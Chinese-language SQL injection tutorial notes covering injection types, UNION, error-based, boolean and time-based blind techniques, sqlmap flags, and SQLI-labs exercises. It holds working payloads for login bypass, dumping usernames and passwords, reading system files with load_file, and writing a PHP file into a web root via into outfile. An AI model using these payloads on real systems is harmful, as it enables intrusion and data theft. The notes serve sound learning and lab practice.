SQL注入
原理与分类
原理
在 OWASP 发布的 top 10 漏洞里,注入漏洞一直是危害排名第一的,数据库注入漏洞是危害最大也是最受关注的漏洞。SQL 注入是指攻击者通过往原有的 SQL 语句中注入恶意的 SQL 命令,破坏原有语句结构,通过执行这些恶意语句欺骗数据库执行,导致数据库信息泄漏,其危害是巨大的,常常会导致整个数据库被脱库。
分类
按参数类型分
- 数字型: 注入点参数为整数
- 字符型: 注入点参数为字符
按注入方式分
- 报错注入: 程序直接将数据库返回的错误信息显示在页面中,虽然没有数据库的返回结果,但可构造一些错误语句从错误信息中获取想要的结果。
- 盲住: 程序后端屏蔽了数据库的错误信息,没有直接显示结果,也没有报错信息,只能通过数据库的逻辑和延时函数来判断注入的结果,盲住又分为:
- 布尔盲注: 从应用返回中判断语句执行后的布尔值
- 时间盲注: 没有明确回显,只能使用特定的时间函数来判断
- union注入(联合注入、堆叠注入) 使用拼接语句执行多条语句
按 HTTP 请求方式分
- GET注入
- POST注入
- Cookie注入
注入攻击流程
- 判断注入点
- 判断注入类型
- 判断数据库类型
- 获取数据库数据,提权
判断注入点
需要后台提交给数据库处理的点,所有的输入只要和数据库进行交互的,都有可能是 SQL 注入点。
一般分为三大类: GET
参数触发、 POST
参数触发 、Cookie
触发
如:在常规链接的参数 (链接?参数
,?id=num
) 中,搜索框。
检验是否存在注入点的方法有很多种,最常规的是使用 '
判断。
http://host/test.php?id=1' # 返回错误则可能有注入
http://host/test.php?id=1 and 1=1 # 返回正常
http://host/test.php?id=1 and 1=2 # 返回错误
满足以上三点,是注入点的可能性机构。
判断注入类型
数字型注入点
http://host/xxx.php?id=1' # 语句报错
http://host/xxx.php?id=1 and 1=1 # 返回成功
http://host/xxx.php?id=1 and 1=2 # 返回错误
假设 SQL 语句为: select * from users where id=$id
$id
由用户提交,用户提交的 1 and 1=1
查询语句就成了 select * from users where id=1 and 1=1
。and
的逻辑是只要有一个不成了就返回失败,所有当提交 1 and 1=2
查询语句就成了 select * from users where id=1 and 1=2
,由于 1=2
不成立,所有查询返回为错误。
数字型注入一般出现在
asp
、php
等弱类型语言中,弱类型语言会自动判断变量的类型,如id=1
php 会自动把 id 的数据判断为int
类型,id=1 and 1=1
则被判断为string
类型。而对于java
、C#
这类强类型语言,若将字符串转换为int
类型,则会抛出异常,无法运行,所以数字型注入;一般出现在弱类型的语言中,强类型语言很少存在。
字符型注入点
http://host/xxx.php?name=man' # 语句报错
http://host/xxx.php?name=man' and '1'='1 # 正常返回结果
http://host/xxx.php?name=man' and '1'='2 # 返回错误
# 也可使用
http://host/xxx.php?name=man' and 'a'='a # 页面正常返回结果
http://host/xxx.php?name=man' and 'a'='b # 页面返回错误
假设 SQL 语句: select * from users where name='$name';
输入 man' and '1'='1
语句为 select * from users where name='man' and '1'='1'
搜索型注入点(常见)
http://host/xxx.php?keyword=a%' and 1=1 and '%'=' # 正常
http://host/xxx.php?keyword=a%' and 1=2 and '%'=' # 错误
假设 SQL 语句为: select * from users where keyword like '%keyword%'
输入 a% and 1=1 and '%'='
语句为 select * from users where keyword like 'a' and 1=1 and '%'='%'
内联式 SQL 注入(常用)
假设 SQL 语句为: select * from admin wher username='$name' and password ='$passwd'
若从登录框的 username
构造提交, username
和 password
为 ' or ''='
、 fuzz
(随便输入) ,SQL 语句就为 select * from admin wher username='' or ''='' and password ='fuzz'
若从登录框的 password
构造提交, username
和 password
为 fuzz
(随便输入) 、 ' or ''='
SQL 语句就为 select * from admin wher username='fuzz' and password='' or ''=''
在 SQL 语句中 and
的优先级大于 or
,显计算 and
然后 or
,所有语句可被 or
分为两段 SQL 语句。
因此从 username
构造的语句成了:
select * from admin wher username=''
or
''='' and password ='fuzz'
数据库中 username
不存在 null
字段,所有第一句 返回失败 ,而第三句中 password
是随意输入的,极大可能不会撞到这个密码,一样为失败,所有整个语句返回为失败。
从 password
构造的语句成了:
select * from admin wher username=''
or
''=''
第一句返回是失败,但而 ''=''
成立,是返回成功的, or
的逻辑就是只要有一个成功就返回成功,所有整个语句返回成功。返回成功后就会绕过登录表单直接登录系统。
终止式(注释) SQL 注入(常用)
终止式 SQL 语句注入是在注入 SQL 代码中通过注释后面的查询来成功结束该语句
假设 SQL 语句为: select * from admin wher username='$name' and password ='$passwd'
在 username
构造 ' or ''='' --
其 SQL 语句就成了: select * from admin wher username='' --' and password ='fuzz'
,fuzz
是随意输入的, --
是注释符。
通过这样语句成了三部分
select * from admin wher username=''
or ''=''
--' and password ='fuzz'
第一句返回是失败,但第二句会返回成功,而第三句被注释了,不会被执行,从而绕过了登录。
终止(注释)字符串: --
、#
、%23
、%00
、/*
终止(注释)方法: --
、'--
、')--
、)--
、'))--
、))--
判断数据库类型
可通过常见网站架构来判断数据库的类型
asp + access
asp + mysql
asp.net + mysql
php + mysql
jsp + oracle
jsp + mysql
具体采用了什么架构,可通过扫描工具或网站默认错误信息等获得。
获取数据库数据,提权
找到注入点后,要获取数据库的内容,最直接的方法是使用 union
联合注入。
union
是数据库管理员经常使用且可以掌控的运算符之一,可用它来连接两条或多条 select
语句的查询。
通过 union
运算符,可添加另一个任意查询,获取数据库用户有权访问的任意表
select colum1,colum2,colum3,...columN from table1
union
select colum1,colum2,colum3,...columN from table2
union
获取数据规则
- 两个查询的 列数必须相同
select
语句返回的数据库对应的列 必须类型相同或兼容
通常只有终止式注入时,可较快猜解并利用,否则要知道原始的 SQL 语句才比较方便利用。
确定列数
union select null,null,null,...,null from dual
逐步增加 null
数量,直到匹配原始语句的列数,成功放回正常页面。
也可用 order by num
确定原语句列数(num
),使用折半查找法提高猜测效率。
确定列类型
union select 1,'2',null,...,null from dual
猜测第一列为数字,若返回结果不正确,则判断为字符型,如果还不正确则可能是二进制类型保持 null
继续猜测其他列。
获取数据信息
union select 1,group_concat(table_name) from information_schema.tables where table_schena=database() #
查询当前数据库中的表名
union select 1,group_concat(column_name)from information_schema.columns where table_name='users' #
查询 users
表中字段
union select group_concat(user_id,first_name,last_name),group_concat(password)from users #
查询成功将 users
表中所有用户的 users_id,first_name,last_name,password
数据
group_concat() # 该函数将 group by 产生的同一个分组中的值连接起来,返回一个字符串结果。
information_schema #这个数据库中保存了 MySQL 所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。
information_schema 的表 schemata 中的列 schema_name 记录了所有的数据库名
information_schema 的表 tables 中的列 table_schema 记录了所有的数据库名
information_schema 的表 tables 中的列 table_name 记录了所有数据库的表名
information_schema 的表 columns 中的列 table_schema 记录了所有的数据库名
information_schema 的表 columns 中的列 table_name 记录了所有数据库的表名
information_schema 的表 columns 中的列 column_name 记录了所有数据库的表的列名
union
不适合的地方
- 注入语句无法截断,且不清楚完整的 SQL 查询语句
- Web 页面中有两个 SQL 查询语句,查询语句的列数不同
盲注
GET 类型的盲注
需要用到的函数
length() 返回字符串长度
substr(a,1,1) 截取字符串a的第1字符起取1个字符
ascii() 返回字符的ascii码
sleep(n) 将程序挂起n秒
if(expr1,expr2,expr3) 判断语句如果第一个语句正确就执行第二个语句如果错误执行第三个语句
ASCII 码值参考
字符 | ASCII码(十进制) | 字符 | ASCII码(十进制) |
---|---|---|---|
a |
97 |
z |
122 |
A |
65 |
Z |
90 |
0 |
48 |
9 |
57 |
_ |
95 |
@ |
64 |
基于布尔的盲注
布尔盲注只会根据注入信息返回 true
或 fales
没有报错信息,可通过函数来判断
通过 length
函数判断数据库名的长度
http://host/xxx.php?id=1' and (length(database()))>10 --+ # 返回错误说明长度小于10
http://host/xxx.php?id=1' and (length(database()))>5 --+ # 返回正确说明长度大于5小于10
http://host/xxx.php?id=1' and (length(database()))=8 --+ # 返回正确说明长度为8
知道了长度,但不知道具体内容,可通过 substr
函数和ascii
函数构造猜测数据库名的 ascii
码的值的语句
http://host/xxx.php?id=1' and (ascii(substr(database(),1,1)))>100 --+ # 返回正确,说明第一个字母的ascii码大于100
http://host/xxx.php?id=1' and (ascii(substr(database(),1,1)))>110 --+ # 返回正确
http://host/xxx.php?id=1' and (ascii(substr(database(),1,1)))<120 --+ # 返回正确
http://host/xxx.php?id=1' and (ascii(substr(database(),1,1)))<115 --+ # 返回错误
http://host/xxx.php?id=1' and (ascii(substr(database(),1,1)))=115 --+ # 返回正确
通过查 ascii
表可知 ascii(115)=s
所有数据库名的第一个字母为 s
,同理可依次猜测出其他字符。
同理可通过一个一个的猜测将表名猜解出俩。
手工盲注很繁琐,需要一个一个的试,前期要学习手工理解其原理然后再去用工具比较好。
基于时间的注入
返回只有 true
无论输入任何值,返回情况都会按正常的来处理。加入特定的时间函数,通过返回的时间差判断注入的语句是否正确。
http://host/xxx.php?id=1' and (if(ascii(substr(database(),1,1))>100,sleep(10),null)) --+ # 若正确执行了则页面将停顿10秒,若执行错误则会立马返回,通过此法配合其他函数依次猜解出需要的信息。
POST 类型的盲注
post
类型的布尔盲注只是将 and
换成 or
其他不变
post
类型的时间盲注中 sleep
函数的时间会被延长很长,但不影响进行测试,只是需要更长的时间。
WAF 绕过
注入点判断
?id=2
id +1
/-1
页面样式未改变,只是文字内容改变,说明可能存在数据库查询,看使用联合查询,若没有看有无数据库报错信息,有报错为报错注入,看是否有回显示变化,判断是否为布尔注入,若无布尔变化,使用延时函数,判断是否有延时注入
口诀
- 是否有回显 --- 联合查询
- 是否有报错 --- 报错注入
- 是否有布尔类型状态 --- 布尔盲注
- 绝招 --- 延时盲注
构造 :
?id=2 order by 1 --+
?id=2' --+
and sleep(5)
select u from u where id = 1
select u from u where id = '1'
select u from u where id = "1"
判断:
- 通过联合查询语句是否正常显示 --> 联合查询
# 判断表的列数
id=2 order by 15
id=2 union select null,null,null,null,null,null,null,null
?id=2 union select 1,2,3,4,5 --+
- 是否有
数据库报错信息
--> 报错注入
字符注入 --> 添加闭合后使得原有语句多了一个后闭合符号,导致出现错误,所以报错中会显示出错闭合符号
数字注入 --> 添加闭合后
# 报错中回显了 2 ,回显中含闭合符号
?id=2'
# 报错中不包含 2
?id=2'
- 是否有
页面布尔变化
(有无页面) --> 布尔注入
1
与1' and 1=1 #
相同,与1' and 1=2
不相同 - 是否出现
延时
--> 延时注入
# 延时型
and sleep(5)
联合查询
由于数据库中的内容会回显到页面中来,所以可以采用联合查询进行注入
联合查询语句: union select ...
,该语句会同时执行两条 select
语句,生成两张虚拟表,由于虚拟表示二维结构,联合查询会纵向拼接两张虚拟表。
可以实现夸库夸表查询
-
必要条件
- 两张表具有相同的列数
- 虚拟表对应的列的数据类型相同,可通过编码转换类型
-
判断字段个数
order by
判断当前select
语句所查询的虚拟表的列数
order by
语句本意是按照某一列进行排序,在 MySQL 中可使用数字代替具体的列名,order by 1
表示按第一列进行排序,如果 MySQL 没有找到对应的类,就回报错Unknown column
通过依次增加数字,直到数据库报错来判断列数。
order by 1 --+
order by 2 --+
order by 3 --+
...
-
判断显示位置
得到字段个数后可尝试构造联合查询语句。
根据 MySQL 数据库特效select
语句在执行中可不指定表名,查询结果将会是字段名和数据内容一样的虚拟表> select 1,2,3,4,5 | 1 | 2 | 3 | 4 | 5 | | --- | --- | --- | --- | --- | | 1 | 2 | 3 | 3 | 5 |
页面显示的是第一张虚拟表的内容,那我们就可同让第一张虚拟表的查询结果为假,从而显示第二张虚拟表的内容
?id=2 and 1=2 union select 1,2,3,4,5,6,7,8 --+
?id=-2 union select 1,2,3,4,5,6,7,8 --+
若 3
和 7
会回显在页面中,表明 3
和 7
处可被利用
- 查询信息
?id=-2 union select 1,2,version(),4,5,6,7,8 --+
--> 数据库版本?id=-2 union select 1,2,database(),4,5,6,7,8 --+
--> 当前数据库名?id=-2 union select 1,2,version(),4,5,6,database(),8 --+
?id=-2 union select 1,2,group_concat(table_name),4,5,6,7,8 from information_schema.tables where tables_schema=database() --+
-->数据库中的表- 若报错(一般为编码问题)使用
hex()
将字符串转化成十六进制数 :hex(group_concat(table_name))
- 若报错(一般为编码问题)使用
?id=-2 union select 1,2,hex(group_concat(column_name)),4,5,6,7,8 from information_schema.columns where table_schema=database() and table=name='users' --+
--> 表中的字段?id=-2 union select 1,2,hex(group_concat(column_name)),4,5,6,7,8 from information_schema.columns where table_schema=database() and table=name='0x7573657273' --+
将表名转化为十六进制
?id=-2 union select 1,2,concat(*),4,5,6,7,8 from table_name --+
--> 查询表中记录数?id=-2 union select 1,2,concat(username,0x3a,password),4,5,6,7,8 from table_name --+
--> 查询字段内容
报错注入
在注入的的判断过程中,发现数据库SQL语句的报错信息会显示在页面中,因此可使用报错注入。报错注入的原理是在错误信息中执行 SQL 语句。
-
group by
重复键冲突
group by
聚合函数的保存是 MySQL 的一个bug (编号:8572),当使用rand()
函数进行分组聚合是,会产生重复键的错误。
Broup by测试-
select concat(left(rand(),3),'^',(select version()),'^') as x,count(*) from information_schema.tables group by x;
--> 获取数据库信息as
是给concat(left(rand(),3),'^',(select version()),'^')
取一个别名x
方便后面聚合操作,可省略as
直接写x
即 :select concat(left(rand(),3),'^',(select version()),'^')x,count(*) from information_schema.tables group by x;
- 如果关键的表被禁用了,自己构造一个表:
select concat('^',version(),'^',floor (rand()*2))x,count(*) from (select 1 union select null union select !1)a group by x;
- 如果
rand()
|count()
被禁用了,可采用:select min(@a:=1) from information_schema.tables group by concat('^',@@version,'^',@a:(@a+1)%2);
- 不依赖额外的函数和具体的表 :
select min(@a:=1) from(select 1 union select null union select !1)a group by concat('^',@@version,'^',@a:=(@a+1)%2);
-
?id=2 and (select 1 from (select count('^'),concat((SQL语句),floor(rand()*2))x from information_schema.tables group by x)a) --+
--> 网传版 -
?id=2 union select 1,2,concat(left(rand(),3),'^',(SQL语句),'^')a,count(*),5,6,7,8 from information_schema.tables group_by a --+
--> 简化版?id=2 and (select 1 from (select count('^'),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+
--> 以查询版本为例,floor 存在概率问题,可多试试几次?id=2 union select 1,2,concat(left(rand(),3),'^',(select version()),'^')a,count(*),5,6,7,8 from information_schema.tables group_by a --+
-
-
XPATH
报错extractalue()
?id=2 and extractvalue(1,concat('^',(select version()),'^')) --+
updatexml()
?id=2 and updatexml(1,concat('^',(select database()),'^'),1) --+
布尔盲注
利用页面返回的布尔状态,正常或不正常来判断。
- 获取数据库名
?id=2 and database()='dbname' --+
--- 直接猜测 , 可能会增加时间成本- 判断库名长度
?id=2 and length(database())<5 --+
- ``?id=2 and length(database())>2 --+`
- ``?id=2 and length(database())=3 --+`
- 逐一获得数据库名,利用 ASCII 码值逐一获得字母
?id=2 and ascii(substr(database(),1,1))=99 --+
---> 99 即字母 c?id=2 and ascii(substr(database(),2,1))=109 --+
---> 109 即字母 m
延时盲注
利用 sleep()
语句的延时性,以时间线作为判断标准。
可使用浏览器的检查功能中的网络查看时间线
?id=2 and sleep(5)
- 获取数据库名
- 获取数据库名长度
?id=2 and if((lenth(database())=3),sleep(5),1) --+
- 获取数据库名第二位
?id=2 and if((ascii(substr(database(),2,1))=109),sleep(5),1) --+
---> 109 即字母 m
- 获取数据库名长度
sqlmap
-u "<url>"
: 检查 url 的注入点--dbs
: 列出所有数据库名--current-db
: 列出当前数据库名--D "<dbname>"
: 指定数据库名--tables
: 列出表名-T "<table>
" : 指定表名--columns
: 列出所有字段名-C "<column>"
: 指定字段--dump
: 列出字段内容
POST 注入
使用 Burp 抓取到 post 数据包 ,将内容保存到 post.txt
中
sqlmap -r post.txt
n # Do you want to follow ? 是否追踪,不追踪
其他注入
利用注入漏洞读写文件
前提条件:
secure-file-priv
允许导入导出操作通过修改my.ini
后重启生效,可在 phpmyadmin 中看到该变量
secure-file-priv=
--- 对 mysql 的导入导出操作不做限制secure-file-priv='c:/a/'
--- 限制导出操作在c:/a/
下(子目录有效)secure-file-priv=null
--- 限制不允许导入导出操作
- 当前用户具有文件权限
- 查询语句 :
select File_oriv from mysql.user where user="root" and host="localhost";
- 知道写入目录文件的绝对路径
- 读取文件操作
load_file()
?id=-1' union select 1,2,load_file('C:\\Windows\\System32\\drivers\\etc\\hosts'),4,5,6,7,8 --+
- 写入文件操作
into outfile
?id=1' and 1=2 union select 1,2,"<?php phpinfo();?>",4,5,6,7,8 into outfile "C:\\phpstudy\\www\\shell.php" --+
若页面不报错,说明写入成功,访问
宽字节注入
宽字节注入,不是注入手法,而是一种比较特殊的情况,在使用 ?id=2'
进行测试时,发现提交的单引号别转义了 \'
。此时,转义后的单引号不再是字符串的标识,会被作为普通字符带入数据库查询,即构造的 SQL 语句将不再影响原有语句。
当网页连接数据库使用的字符编码被设置成 GBK
编码集,即可使用宽字节进行注入绕过。
GBK 编码采用的是双字节编码方案,编码范围是 8140-FEFE
包含汉字和图形符号工21886个,转义字符 \
的编码是 5c
正好在GBK 的编码范围内,这时可提交一个十六进制编码的字符与 5c
组成 GBK 编码中的文字,这样 SQL 语句在传入数据库时,转义字符 5c
(\
)就会被吃掉失去转义的作用。
如 : ?id=2%df' union select 1,2,3 --+
其中的 df
会和 5c
组合成 GBK 编码中的 0xdf5c
即 運
SQLI-labs 第 32 关
payload : ?id=1%df' and 1=2 union select 1,version(),3 --+
Cookie 注入
注入参数通过 Cookie 提交,可在浏览器控制台通过 document.cookie
完成对 Cookie 的读写。Cookie 中不可用 --+
来注释,--+
中的 +
在URL 中 代表空格 ,在 Cookie 中不可被转换,只可使用 #
来做注释
SQLI-labs 第 20 关
在控制台输入 document.cookie="uname=Dumb' and extractvalue(1,concat(0x73,database(),0x7e))#"
,刷新页面
也可使用 Burp 来直接修改提交的 Cookie 信息,使用 Repeater 重放
Cookie: uname=Angeline' and updatexml(1,concat(0x5e,database(),0x5e),1) #
base64 注入
将注入字段进过 base64 编码
SQLI-labs 第 22 关
payload :
Dumb" and updatexml(1,concat(0x5e,version(),0x5e),1) #
RHVtYiIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDVlLHZlcnNpb24oKSwweDVlKSwxKSAj
HTTP 头部
在http头部的字段中提交的注入,通常在 User-Agent
、Referer
User-Agent
注入
SQLI-labs 第 18 关User-Agent:Hacker' and updatexml(1,concat(0x7e,database(),0x7e),1 and '1'='1
Referer
注入
SQLI-labs 第 19 关hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
使用注释语句会报错时,考虑构造相应的闭合语句构造正确不报错的语句
自动化注入
半自动化注入
- Burp
- 使用 Intruder 攻击模块设置变量,进行爆破
- 多个变量是可选择
Attack type
的类型为Cluster bomb
- Length 长度判断
- Response received 响应时间判断
Payload type
:Numbers
>1-128
, step :1
--> ASCII
全自动化注入
- sqlmap
- 定制脚本